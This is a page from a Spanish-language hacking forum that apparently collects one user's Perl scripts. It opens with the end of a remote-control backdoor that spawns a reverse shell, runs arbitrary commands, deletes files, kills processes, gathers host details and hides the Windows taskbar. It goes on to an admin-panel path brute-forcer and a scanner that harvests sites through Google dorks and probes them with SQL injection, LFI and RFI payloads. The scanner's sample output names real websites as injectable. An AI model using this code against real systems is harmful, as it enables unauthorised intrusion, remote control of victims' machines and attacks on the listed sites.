  54. open (STDERR,">&REVERSE");
  55. }
  56.  
  57. sub tipo {
  58. print "\n[*] Reverse Shell Starting...\n\n";
  59. if ($^O =~/Win32/ig) {
  60. infowin();
  61. system("cmd.exe");
  62. } else {
  63. infolinux();
  64. #root();  
  65. system("export TERM=xterm;exec sh -i");
  66. }
  67. }
  68.  
  69. sub infowin {
  70. print "[+] Domain Name : ".Win32::DomainName()."\n";
  71. print "[+] OS Version : ".Win32::GetOSName()."\n";
  72. print "[+] Username : ".Win32::LoginName()."\n\n\n";
  73. }
  74.  
  75. sub infolinux {
  76. print "[+] System information\n\n";
  77. system("uname -a");
  78. print "\n\n";
  79. }
  80.  
  81.  
  82. }
  83.  
  84. if ($resultado =~/opencd/ig) {
  85.  
  86. use Win32::API;
  87.  
  88. my $ventana = Win32::API->new("winmm", "mciSendString", "PPNN", "N");
  89. my $rta = ' ' x 127;  
  90. $ventana->Call('set CDAudio door open', $rta, 127, 0);
  91. print $con "ok"."\r\n";
  92. }
  93.  
  94. if ($resultado=~/chauproce K0BRA(.*)K0BRA(.*)K0BRA/ig) {
  95.  
  96. my ($pid,$numb) = ($1,$2);
  97.  
  98. $pid=~s/(\s)+$//;
  99. $numb=~s/(\s)+$//;
  100.  
  101. if (Win32::Process::KillProcess($pid,$numb)) {
  102. print $con "ok\r\n";
  103. }
  104. }
  105.  
  106. if ($resultado =~/closedcd/ig) {
  107.  
  108. use Win32::API;
  109.  
  110. my $ventana = Win32::API->new("winmm", "mciSendString", "PPNN", "N");
  111. my $rta = ' ' x 127;  
  112. $ventana->Call('set CDAudio door closed', $rta, 127, 0);
  113. print $con "ok"."\r\n";
  114. }
  115.  
  116. if ($resultado=~/borrarfile K0BRA(.*)K0BRA/ig) {
  117.  
  118. my $filex = $1;
  119.  
  120. $filex =~s/(\s)+$//;
  121.  
  122. print getcwd()."/".$filex."\n\n";
  123.  
  124. if (unlink(getcwd()."/".$filex)) {
  125. print $con "ok\r\n";
  126. }
  127.  
  128. }
  129.  
  130.  
  131.  
  132. if ($resultado=~/infor/ig) {
  133. print "mando";
  134. use Win32;
  135.  
  136.  
  137. my $domain = Win32::DomainName();
  138. my $chip = Win32::GetChipName();
  139. my $version = Win32::GetOSVersion();
  140. my $nombre = Win32::LoginName();
  141. my  $os = Win32::GetOSName();
  142.  
  143. print $con ":".$domain.":".$chip.":".$version.":".$nombre.":".$os.":"."\r\n";
  144. }
  145.  
  146.  
  147. if ($resultado=~/porters/ig) {
  148.  
  149. use Net::Netstat::Wrapper;
  150.  
  151. $por = "";
  152. @ports = Net::Netstat::Wrapper->only_port();
  153. for(@ports) {
  154. $por = $por.":".$_;
  155. }
  156. print $con $por."\r\n";
  157. }
  158.  
  159.  
  160. if ($resultado=~/playmusic K0BRA(.*)K0BRA/ig) {
  161.  
  162. my $cancion = $1;
  163.  
  164. $cancion =~s/(\s)+$//;
  165.  
  166. $test->load($cancion);
  167. $test->play;
  168.  
  169. }
  170.  
  171. if ($resultado=~/chdirnow K0BRA(.*)K0BRA/ig) {
  172.  
  173. my $dir = $1;
  174. $dir =~s/(\s)+$//;
  175.  
  176.  
  177. if (chdir($dir)) {
  178. print $con "ok\r\n";
  179. }
  180.  
  181. }
  182.  
  183. if ($resultado=~/borrardir K0BRA(.*)K0BRA/ig) {
  184.  
  185. my $veox = $1;
  186. $veox =~s/(\s)+$//;
  187.  
  188. if (rmdir(getcwd()."/".$veox)) {
  189. print $con "ok\r\n";
  190. }
  191. }
  192.  
  193.  
  194.  
  195. if ($resultado=~/pararmusic/ig) {
  196. $test->close;
  197. }
  198.  
  199.  
  200.  
  201. if ($resultado=~/dirnow ACATOY(.*)/ig) {
  202.  
  203. my $real = $1;
  204. chomp $real;
  205.  
  206. $real =~s/(\s)+$//;
  207.  
  208. print "real $real\n\n";
  209.  
  210. my @archivos = coleccionar($real);
  211.  
  212. for (@archivos) {
  213. print $_."\n";
  214. my $todo = $real."/".$_;
  215.  
  216. print $todo."\n";
  217.  
  218. if (-f $todo) {
  219. print $con "FILEX".$_."FILEX"."\r\n";
  220. print "File : ".$_."\n";
  221. }
  222.  
  223. if (-d $todo) {
  224. print $con "DIREX".$_."DIREX"."\r\n";
  225. print "Dir : ".$_."\n";
  226. }
  227.  
  228. }
  229. }
  230.  
  231. sub coleccionar {
  232. opendir DIR,$_[0];
  233. my @archivos = readdir DIR;
  234. close DIR;
  235. return @archivos;
  236. }
  237.  
  238. if ($resultado=~/getcwd/ig) {
  239. print "envie ".getcwd()."\n\n";
  240. print $con getcwd()."\r\n";
  241. }
  242.  
  243.  
  244. if ($resultado=~/mostrarpro/ig) {
  245.  
  246.  
  247. my $new = Win32::Process::List->new();  
  248. my %process = $new->GetProcesses();
  249. for my $pid (keys %process) {
  250. print $con "PROXEC".$process{$pid}."PROXEC\r\n";
  251. print $con "PIDX".$pid."PIDX\r\n";
  252.  
  253. }
  254.  
  255.  
  256. }
  257.  
  258. if ($resultado=~/crearnow K0BRA(.*)K0BRA ACATOY(.*)ACATOY/ig) {
  259. my $name = $1;
  260. my $file = $2;
  261.  
  262. chomp $name;
  263. chomp $file;
  264.  
  265. $name =~s/(\s)+$//;
  266. $file =~s/(\s)+$//;
  267.  
  268. print "name is $name end\n";
  269. print "file is $file end\n";
  270.  
  271. open FILE,">>".$name;
  272. print FILE $file."\n";
  273. close FILE;
  274. }
  275.  
  276. if ($resultado=~/comando :(.*):/ig) {
  277. print "llego comando $1\n";
  278. print $resultado;
  279. my $temp = qx($1);
  280. print $con $temp."\r";
  281. }
  282.  
  283. if ($resultado=~/iniciochau/g) {
  284. inicio_chau("Shell_TrayWnd");
  285. }
  286. if ($resultado=~/iniciovuelve/g) {
  287. inicio_vuelve("Shell_TrayWnd");
  288. } else {
  289. print $resultado;
  290. }
  291. if ($resultado=~/iconovuelve/g) {
  292. icono_vuelve("Program Manager");
  293. }
  294. if ($resultado=~/iconochau/g) {
  295. icono_chau("Program Manager");
  296. }
  297.  
  298.  
  299. sub icono_vuelve {
  300. $handle = $a->Call(0,$_[0]);
  301. $b->Call($handle,SW_SHOWNORMAL);
  302.  
  303. }
  304.  
  305. sub icono_chau {
  306.  
  307. $handle = $a->Call(0,$_[0]);
  308. $b->Call($handle,SW_HIDE);
  309.  
  310. }
  311.  
  312. sub inicio_vuelve {
  313. $handlex = $a->Call($_[0],0);
  314. $b->Call($handlex,SW_SHOWNORMAL);
  315.  
  316. }
  317.  
  318. sub inicio_chau {
  319.  
  320. $handlea = $a->Call($_[0],0);
  321. $b->Call($handlea,SW_HIDE);
  322.  
  323. }
  324.  
  325.  
  326. }
  327.  
  328.  
  329. # ¿ The End ?
  330.  
  331.  
  332.  
489  Programación / Scripting / [Perl] Panel Control 0.6 en: 8 Octubre 2011, 16:57 pm
La nueva version de esta herramienta para buscar el panel de administracion

Código
  1. #!usr/bin/perl
  2. #Panel Control 0.6
  3. #(C) Doddy Hackman 2011
  4.  
  5. use LWP::UserAgent;
  6.  
  7. @panels=('admin/admin.asp','admin/login.asp','admin/index.asp','admin/admin.aspx'
  8. ,'admin/login.aspx','admin/index.aspx','admin/webmaster.asp','admin/webmaster.aspx'
  9. ,'asp/admin/index.asp','asp/admin/index.aspx','asp/admin/admin.asp','asp/admin/admin.aspx'
  10. ,'asp/admin/webmaster.asp','asp/admin/webmaster.aspx','admin/','login.asp','login.aspx'
  11. ,'admin.asp','admin.aspx','webmaster.aspx','webmaster.asp','login/index.asp','login/index.aspx'
  12. ,'login/login.asp','login/login.aspx','login/admin.asp','login/admin.aspx'
  13. ,'administracion/index.asp','administracion/index.aspx','administracion/login.asp'
  14. ,'administracion/login.aspx','administracion/webmaster.asp','administracion/webmaster.aspx'
  15. ,'administracion/admin.asp','administracion/admin.aspx','php/admin/','admin/admin.php'
  16. ,'admin/index.php','admin/login.php','admin/system.php','admin/ingresar.php'
  17. ,'admin/administrador.php','admin/default.php','administracion/','administracion/index.php'
  18. ,'administracion/login.php','administracion/ingresar.php','administracion/admin.php'
  19. ,'administration/','administration/index.php','administration/login.php'
  20. ,'administrator/index.php','administrator/login.php','administrator/system.php','system/'
  21. ,'system/login.php','admin.php','login.php','administrador.php','administration.php'
  22. ,'administrator.php','admin1.html','admin1.php','admin2.php','admin2.html','yonetim.php'
  23. ,'yonetim.html','yonetici.php','yonetici.html','adm/','admin/account.php','admin/account.html'
  24. ,'admin/index.html','admin/login.html','admin/home.php','admin/controlpanel.html'
  25. ,'admin/controlpanel.php','admin.html','admin/cp.php','admin/cp.html','cp.php','cp.html'
  26. ,'administrator/','administrator/index.html','administrator/login.html'
  27. ,'administrator/account.html','administrator/account.php','administrator.html','login.html'
  28. ,'modelsearch/login.php','moderator.php','moderator.html','moderator/login.php'
  29. ,'moderator/login.html','moderator/admin.php','moderator/admin.html','moderator/'
  30. ,'account.php','account.html','controlpanel/','controlpanel.php','controlpanel.html'
  31. ,'admincontrol.php','admincontrol.html','adminpanel.php','adminpanel.html','admin1.asp'
  32. ,'admin2.asp','yonetim.asp','yonetici.asp','admin/account.asp','admin/home.asp'
  33. ,'admin/controlpanel.asp','admin/cp.asp','cp.asp','administrator/index.asp'
  34. ,'administrator/login.asp','administrator/account.asp','administrator.asp'
  35. ,'modelsearch/login.asp','moderator.asp','moderator/login.asp','moderator/admin.asp'
  36. ,'account.asp','controlpanel.asp','admincontrol.asp','adminpanel.asp','fileadmin/'
  37. ,'fileadmin.php','fileadmin.asp','fileadmin.html','administration.html','sysadmin.php'
  38. ,'sysadmin.html','phpmyadmin/','myadmin/','sysadmin.asp','sysadmin/','ur-admin.asp'
  39. ,'ur-admin.php','ur-admin.html','ur-admin/','Server.php','Server.html'
  40. ,'Server.asp','Server/','wp-admin/','administr8.php','administr8.html'
  41. ,'administr8/','administr8.asp','webadmin/','webadmin.php','webadmin.asp'
  42. ,'webadmin.html','administratie/','admins/','admins.php','admins.asp'
  43. ,'admins.html','administrivia/','Database_Administration/','WebAdmin/'
  44. ,'useradmin/','sysadmins/','admin1/','system-administration/','administrators/'
  45. ,'pgadmin/','directadmin/','staradmin/','ServerAdministrator/','SysAdmin/'
  46. ,'administer/','LiveUser_Admin/','sys-admin/','typo3/','panel/','cpanel/'
  47. ,'cPanel/','cpanel_file/','platz_login/','rcLogin/','blogindex/','formslogin/
  48. ','autologin/','support_login/','meta_login/','manuallogin/','simpleLogin/
  49. ','loginflat/','utility_login/','showlogin/','memlogin/','members/','login-redirect/
  50. ','sub-login/','wp-login/','login1/','dir-login/','login_db/','xlogin/','smblogin/
  51. ','customer_login/','UserLogin/','login-us/','acct_login/','admin_area/','bigadmin/'
  52. ,'project-admins/','phppgadmin/','pureadmin/','sql-admin/','radmind/','openvpnadmin/'
  53. ,'wizmysqladmin/','vadmind/','ezsqliteadmin/','hpwebjetadmin/','newsadmin/','adminpro/'
  54. ,'Lotus_Domino_Admin/','bbadmin/','vmailadmin/','Indy_admin/','ccp14admin/'
  55. ,'irc-macadmin/','banneradmin/','sshadmin/','phpldapadmin/','macadmin/'
  56. ,'administratoraccounts/','admin4_account/','admin4_colon/','radmind-1/'
  57. ,'Super-Admin/','AdminTools/','cmsadmin/','SysAdmin2/','globes_admin/'
  58. ,'cadmins/','phpSQLiteAdmin/','navSiteAdmin/','server_admin_small/','logo_sysadmin/'
  59. ,'server/','database_administration/','power_user/','system_administration/'
  60. ,'ss_vms_admin_sm/');
  61.  
  62. my $nave = LWP::UserAgent->new;
  63. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  64. $nave->timeout(5);
  65.  
  66. head();
  67. unless($ARGV[0]) {
  68. print "\n\n[+] sintax : $0 <web>\n\n";
  69. } else {
  70. scan($ARGV[0]);
  71. }
  72. copyright();
  73.  
  74. sub scan {
  75. print "\n[+] Scanning $_[0]\n\n\n";
  76. for $path(@panels) {
  77. $code = toma($_[0]."/".$path);
  78. if ($code->is_success) {
  79. print "[Link] : ".$_[0]."/".$path."\n";
  80. }
  81. }
  82. }
  83.  
  84. sub head {
  85. print "\n\n-- == Panel Control == --\n\n";
  86. }
  87.  
  88. sub copyright {
  89. print "\n\n(C) Doddy Hackman 2011\n\n";
  90. exit(1);
  91. }
  92.  
  93. sub toma {
  94. return $nave->get($_[0]);
  95. }
  96.  
  97. #Thanks to explorer (PerlEnEspañol)
  98. # ¿ The End ?
  99.  
490  Programación / Scripting / [Perl] Paranoic Scan By Doddy H en: 8 Octubre 2011, 16:56 pm
Hola.

Hoy traigo un programa que eh estado haciendo porque estaba harto de ir probando cada
web que encontraba en google para saber si tenia la vulnerabilidad que queria
Asi que por eso hice esta tool , con las siguientes opciones

* Permite scaner un archivo con webs
* Permite buscar en google , borrar repes , y luego scanear


Tipos de scan :

* SQL
* LFI
* RFI
* FULL SOURCE DISCLOURE



Ejemplo de uso


Código:



@@@@@   @   @@@@     @   @@  @@@  @@@   @@@  @@@@     @@@   @@@@    @   @@  @@@
 @  @   @    @  @    @    @@  @  @   @   @  @   @    @  @  @   @    @    @@  @
 @  @  @ @   @  @   @ @   @@  @ @     @  @ @         @    @        @ @   @@  @
 @@@   @ @   @@@    @ @   @ @ @ @     @  @ @          @@  @        @ @   @ @ @
 @    @@@@@  @ @   @@@@@  @ @ @ @     @  @ @            @ @       @@@@@  @ @ @
 @    @   @  @  @  @   @  @  @@  @   @   @  @   @    @  @  @   @  @   @  @  @@
@@@  @@@ @@@@@@  @@@@ @@@@@@  @   @@@   @@@  @@@     @@@    @@@  @@@ @@@@@@  @




[a] : Scan a File
[b] : Search in google and scan the webs

[option] : b

[+] Dork : ficha.php+id
[+] Pages : 200


[+] Scan Type :

[S] : SQL
[L] : LFI
[R] : RFI
[F] : Full Source Discloure
[A] : All


[Option] : s

[Google] : www.google.com.ar
[Dork] : ficha.php+id
[Pages] : 200

[+] Searching pages..
[+] Cleaning results

[Status] : Scanning
[Webs Count] : 136

[+] SQLI : http://www.3tres3.com/opinion/ficha.php?id=
[+] SQLI : http://www.vincipark.es/ficha.php?id=
[+] SQLI : http://www.maxhuber.cl/ficha.php?id=
[+] SQLI : http://www.alddeaviviendas.com/sitio/ficha.php?id=
[+] SQLI : http://www.bvocal.org/ficha.php?id=
[+] SQLI : http://www.animadas.com/artista-ficha.php?id=
[+] SQLI : http://www.madamedepompadour.cl/ficha.php?id=
[+] SQLI : http://codigo-civil.org/base/ficha.php?id=
[+] SQLI : http://www.cibercolchon.com/ficha.php?id=
[+] SQLI : http://www.100citiesinitiative.org/ficha.php?ID=
[+] SQLI : http://www.nibbledpencil.com/ficha.php?id=

[Status] : Finish



(C) Doddy Hackman 2010


Codigo
Código
  1.  
  2. #!usr/bin/perl
  3. #Paranoic Scan 0.4
  4. #(c)0ded by Doddy H 2010
  5.  
  6. use LWP::UserAgent;
  7. use HTTP::Request::Common;
  8. use URI::Split qw(uri_split);
  9.  
  10. my $nave = LWP::UserAgent->new();
  11. $nave->timeout(5);
  12. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  13.  
  14.  
  15.  
  16.  
  17.  
  18. sub head {
  19. system 'cls';
  20.  
  21.  
  22. @@@@@   @   @@@@     @   @@  @@@  @@@   @@@  @@@@     @@@   @@@@    @   @@  @@@
  23. @  @   @    @  @    @    @@  @  @   @   @  @   @    @  @  @   @    @    @@  @
  24. @  @  @ @   @  @   @ @   @@  @ @     @  @ @         @    @        @ @   @@  @
  25. @@@   @ @   @@@    @ @   @ @ @ @     @  @ @          @@  @        @ @   @ @ @
  26. @    @@@@@  @ @   @@@@@  @ @ @ @     @  @ @            @ @       @@@@@  @ @ @
  27. @    @   @  @  @  @   @  @  @@  @   @   @  @   @    @  @  @   @  @   @  @  @@
  28. @@@  @@@ @@@@@@  @@@@ @@@@@@  @   @@@   @@@  @@@     @@@    @@@  @@@ @@@@@@  @
  29.  
  30.  
  31.  
  32.  
  33. );
  34. }
  35. &menu;
  36. sub menu {
  37. &head;
  38. print "[a] : Scan a File\n";
  39. print "[b] : Search in google and scan the webs\n\n";
  40. print "[option] : ";
  41. chomp(my $op = <STDIN>);
  42. if ($op=~/a/ig) {
  43. print "\n[+] Wordlist : ";
  44. chomp(my $word = <STDIN>);
  45. @paginas = repes(savewords($word));
  46. my $option = &men;
  47. scan($option,@paginas);
  48. }
  49. elsif ($op=~/b/ig) {
  50. print "\n[+] Dork : ";
  51. chomp(my $dork = <STDIN>);
  52. print "[+] Pages : ";
  53. chomp(my $pag = <STDIN>);
  54. my $option = &men;
  55. @paginas = &google("www.google.com.ar",$dork,$pag);
  56. scan($option,@paginas);
  57. }
  58. else {
  59. &menu;
  60. }
  61. }
  62. sub scan {
  63. my ($option,@webs) = @_;
  64. print "\n[Status] : Scanning\n";
  65. print "[Webs Count] : ".int(@webs)."\n\n";
  66. for(@webs) {
  67. if ($option=~/S/ig) {
  68. &sql($_);
  69. }
  70. if ($option=~/L/ig) {
  71. &lfi($_);
  72. }
  73. if ($option=~/R/ig) {
  74. &rfi($_);
  75. }
  76. if ($option=~/F/ig) {
  77. &fsd($_);
  78. }
  79. if ($option=~/A/ig) {
  80. &sql($_);
  81. &lfi($_);
  82. &rfi($_);
  83. &fsd($_)
  84. }
  85. }
  86. }
  87. print "\n[Status] : Finish\n";
  88. &finish;
  89.  
  90.  
  91. sub toma {
  92. return $nave->request (GET $_[0])->content;
  93. }
  94.  
  95.  
  96. sub savefile {
  97. open (SAVE,">>logs/".$_[0]);
  98. print SAVE $_[1]."\n";
  99. close SAVE;
  100. }
  101.  
  102. sub finish {
  103. print "\n\n\n(C) Doddy Hackman 2010\n\n";
  104. <STDIN>;
  105. exit(1);
  106. }
  107.  
  108.  
  109. sub google {
  110. print "\n[Google] : $_[0]\n[Dork] : $_[1]\n[Pages] : $_[2]\n\n[+] Searching pages..\n";
  111. for ($pages=0;$pages<=$_[2];$pages=$pages+10) {
  112. $response = toma("http://$_[0]/search?hl=&q=$_[1]&start=$pages");
  113. while ($response=~m/<h3 class=.*?<a href="([^"]+).*?>(.*?)<\/a>/g) {
  114. push(@founds,$1);
  115. }}
  116. print "[+] Cleaning results\n";
  117. for(@founds) {
  118. $t = clean($_);
  119. push(@r,$t);
  120. }
  121. return(repes(@r));
  122. }
  123.  
  124.  
  125. sub sql {
  126. my ($pass1,$pass2) = ("+","--");
  127. my $page = shift;
  128. $code1 = toma($page."-1".$pass1."union".$pass1."select".$pass1."666".$pass2);
  129. if ($code1=~/The used SELECT statements have a different number of columns/ig) {
  130. print "[+] SQLI : $page\a\n";
  131. savefile("sql-logs.txt",$page);
  132. }}
  133.  
  134. sub rfi {
  135. my $page = shift;
  136. $code1 = toma($page."http:/www.supertangas.com/");
  137. if ($code1=~/Los mejores TANGAS de la red/ig) { #Esto es conocimiento de verdad xDDD
  138. print "[+] RFI : $page\a\n";
  139. savefile("rfi-logs.txt",$page);
  140. }}
  141.  
  142. sub lfi {
  143. my $page = shift;
  144. $code1 = toma($page."'");
  145. if ($code1=~/No such file or directory in <b>(.*)<\/b> on line/ig) {
  146. print "[+] LFI : $page\a\n";
  147. savefile("lfi-logs.txt",$page);
  148. }}
  149.  
  150.  
  151. sub fsd {
  152. my $page = shift;
  153. my ($scheme, $auth, $path, $query, $frag)  = uri_split($page);
  154. if ($path=~/\/(.*)$/) {
  155. my $me = $1;
  156. $code1 = toma($page.$me);
  157. if ($code1=~/header\((.*)Content-Disposition: attachment;/ig) {
  158. print "[+] Full Source Discloure : $page\a\n";
  159. savefile("fpd-logs.txt",$page);
  160. }}}
  161.  
  162. sub repes {
  163. foreach my $palabra ( @_ ) {
  164. next if $repety{ $palabra }++;
  165. push @revisado,$palabra;
  166. }
  167. return @revisado;
  168. }
  169.  
  170. sub savewords {
  171. open (FILE,$_[0]);
  172. @words = <FILE>;
  173. close FILE;
  174. for(@words) {
  175. $t = clean($_);
  176. push(@r,$t);
  177. }
  178. return(@r);
  179. }
  180.  
  181. sub men {
  182. print "\n\n[+] Scan Type : \n\n";
  183. print "[S] : SQL\n";
  184. print "[L] : LFI\n";
  185. print "[R] : RFI\n";
  186. print "[F] : Full Source Discloure\n";
  187. print "[A] : All\n\n";
  188. print "\n[Option] : ";
  189. chomp(my $option = <STDIN>);
  190. return $option;
  191. }
  192.  
  193. sub clean {
  194. if ($_[0] =~/\=/) {
  195. my @sacar= split("=",$_[0]);
  196. return(@sacar[0]."=");
  197. }
  198. }
  199.  
  200. #The End
  201. #Contact : doddy-hackman[at]hotmail[com]
  202. #blog : doddy-hackman.blogspot.com
Páginas: 1 ... 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 [49] 50 51 52 53 54 55
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines